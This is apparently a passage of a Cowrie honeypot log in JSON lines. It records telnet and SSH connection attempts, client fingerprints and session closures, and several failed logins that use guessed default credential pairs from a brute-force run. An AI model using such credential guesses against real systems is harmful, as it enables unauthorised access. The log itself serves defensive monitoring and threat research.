{"eventid":"cowrie.session.closed","duration":31.504769325256348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:15.824688Z","src_ip":"5.252.154.12","session":"97fb2b5f282d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.949235200881958,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:17.693281Z","src_ip":"174.138.46.234","session":"b7e1dcb6ace1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":47718,"dst_ip":"10.17.0.5","dst_port":23,"session":"93963a50f727","protocol":"telnet","message":"New connection: 5.252.154.12:47718 (10.17.0.5:23) [session: 93963a50f727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:21.116592Z"}
{"eventid":"cowrie.session.closed","duration":31.480091094970703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:21.879666Z","src_ip":"5.252.154.12","session":"3650de0f350c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47996,"dst_ip":"10.17.0.5","dst_port":23,"session":"b805f51d999c","protocol":"telnet","message":"New connection: 20.123.41.163:47996 (10.17.0.5:23) [session: b805f51d999c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:27.174202Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":40744,"dst_ip":"10.17.0.5","dst_port":23,"session":"84442c0621cc","protocol":"telnet","message":"New connection: 5.252.154.12:40744 (10.17.0.5:23) [session: 84442c0621cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:34.842773Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2879b2e8ec","protocol":"telnet","message":"New connection: 5.252.154.12:40758 (10.17.0.5:23) [session: 2b2879b2e8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:36.261765Z"}
{"eventid":"cowrie.session.closed","duration":31.00430417060852,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:52.120811Z","src_ip":"5.252.154.12","session":"93963a50f727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45944,"dst_ip":"159.203.135.109","dst_port":23,"session":"690cec96e5d0","protocol":"telnet","message":"New connection: 174.138.46.234:45944 (159.203.135.109:23) [session: 690cec96e5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:52.915444Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46462,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fff6d3716a1","protocol":"telnet","message":"New connection: 174.138.46.234:46462 (159.203.135.109:23) [session: 1fff6d3716a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:53.540460Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46530,"dst_ip":"159.203.135.109","dst_port":23,"session":"344ace7cece5","protocol":"telnet","message":"New connection: 174.138.46.234:46530 (159.203.135.109:23) [session: 344ace7cece5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:53.724843Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":19265,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a8c06ed63c","protocol":"ssh","message":"New connection: 185.48.213.208:19265 (10.17.0.5:22) [session: a4a8c06ed63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:54.911262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:54.917044Z","src_ip":"185.48.213.208","session":"a4a8c06ed63c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:55.038030Z","src_ip":"185.48.213.208","session":"a4a8c06ed63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"internet","message":"login attempt [test/internet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:55.557027Z","src_ip":"185.48.213.208","session":"a4a8c06ed63c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":28815,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc3fe72bc43","protocol":"ssh","message":"New connection: 155.4.244.179:28815 (10.17.0.5:22) [session: afc3fe72bc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:56.104094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:56.108993Z","src_ip":"155.4.244.179","session":"afc3fe72bc43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:56.214992Z","src_ip":"155.4.244.179","session":"afc3fe72bc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:56.680206Z","src_ip":"185.48.213.208","session":"a4a8c06ed63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:57.149703Z","src_ip":"155.4.244.179","session":"afc3fe72bc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:58.259310Z","src_ip":"155.4.244.179","session":"afc3fe72bc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.979201793670654,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:59.519565Z","src_ip":"174.138.46.234","session":"1fff6d3716a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.0174055099487305,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:59.742151Z","src_ip":"174.138.46.234","session":"344ace7cece5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.986255645751953,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:31:59.901592Z","src_ip":"174.138.46.234","session":"690cec96e5d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.321555852890015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:06.164229Z","src_ip":"5.252.154.12","session":"84442c0621cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051953554153442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:07.313576Z","src_ip":"5.252.154.12","session":"2b2879b2e8ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":32810,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba11765f254","protocol":"ssh","message":"New connection: 103.248.120.6:32810 (10.17.0.5:22) [session: dba11765f254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:33.858275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:33.862737Z","src_ip":"103.248.120.6","session":"dba11765f254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:34.084819Z","src_ip":"103.248.120.6","session":"dba11765f254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234abcd","message":"login attempt [ubuntu/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:35.009085Z","src_ip":"103.248.120.6","session":"dba11765f254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:36.236425Z","src_ip":"103.248.120.6","session":"dba11765f254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":35606,"dst_ip":"10.17.0.5","dst_port":23,"session":"639392d9a1e6","protocol":"telnet","message":"New connection: 5.252.154.12:35606 (10.17.0.5:23) [session: 639392d9a1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:41.224441Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":21701,"dst_ip":"10.17.0.5","dst_port":22,"session":"1caab2d6a2aa","protocol":"ssh","message":"New connection: 155.4.244.179:21701 (10.17.0.5:22) [session: 1caab2d6a2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:59.359145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:59.363248Z","src_ip":"155.4.244.179","session":"1caab2d6a2aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:32:59.894919Z","src_ip":"155.4.244.179","session":"1caab2d6a2aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:00.306442Z","src_ip":"155.4.244.179","session":"1caab2d6a2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:01.898885Z","src_ip":"155.4.244.179","session":"1caab2d6a2aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39196,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a9762909b5","protocol":"telnet","message":"New connection: 174.138.46.234:39196 (159.203.135.109:23) [session: 14a9762909b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:03.214073Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39250,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fde1836b7c5","protocol":"telnet","message":"New connection: 174.138.46.234:39250 (159.203.135.109:23) [session: 7fde1836b7c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:03.344216Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e9ff1b5de2","protocol":"telnet","message":"New connection: 174.138.46.234:39428 (159.203.135.109:23) [session: c3e9ff1b5de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:03.915508Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75d4a0725dc","protocol":"telnet","message":"New connection: 174.138.46.234:39648 (159.203.135.109:23) [session: a75d4a0725dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:04.562575Z"}
{"eventid":"cowrie.session.closed","duration":5.945716857910156,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:09.159669Z","src_ip":"174.138.46.234","session":"14a9762909b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.936120986938477,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:09.280168Z","src_ip":"174.138.46.234","session":"7fde1836b7c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.037816524505615,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:09.953205Z","src_ip":"174.138.46.234","session":"c3e9ff1b5de2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884688138961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:12.108990Z","src_ip":"5.252.154.12","session":"639392d9a1e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.847487926483154,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:12.409924Z","src_ip":"174.138.46.234","session":"a75d4a0725dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01556730270386,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:27.189635Z","src_ip":"20.123.41.163","session":"b805f51d999c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":34409,"dst_ip":"10.17.0.5","dst_port":22,"session":"05d3ffad249b","protocol":"ssh","message":"New connection: 185.48.213.208:34409 (10.17.0.5:22) [session: 05d3ffad249b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:44.385123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:44.389919Z","src_ip":"185.48.213.208","session":"05d3ffad249b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:44.508292Z","src_ip":"185.48.213.208","session":"05d3ffad249b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"123","message":"login attempt [test_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:45.013827Z","src_ip":"185.48.213.208","session":"05d3ffad249b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.252.154.12","src_port":33916,"dst_ip":"10.17.0.5","dst_port":23,"session":"c73ca5b1ea70","protocol":"telnet","message":"New connection: 5.252.154.12:33916 (10.17.0.5:23) [session: c73ca5b1ea70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:46.110671Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:33:46.137184Z","src_ip":"185.48.213.208","session":"05d3ffad249b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":34040,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ede5022e50","protocol":"ssh","message":"New connection: 155.4.244.179:34040 (10.17.0.5:22) [session: 79ede5022e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:03.244975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:34:03.251179Z","src_ip":"155.4.244.179","session":"79ede5022e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 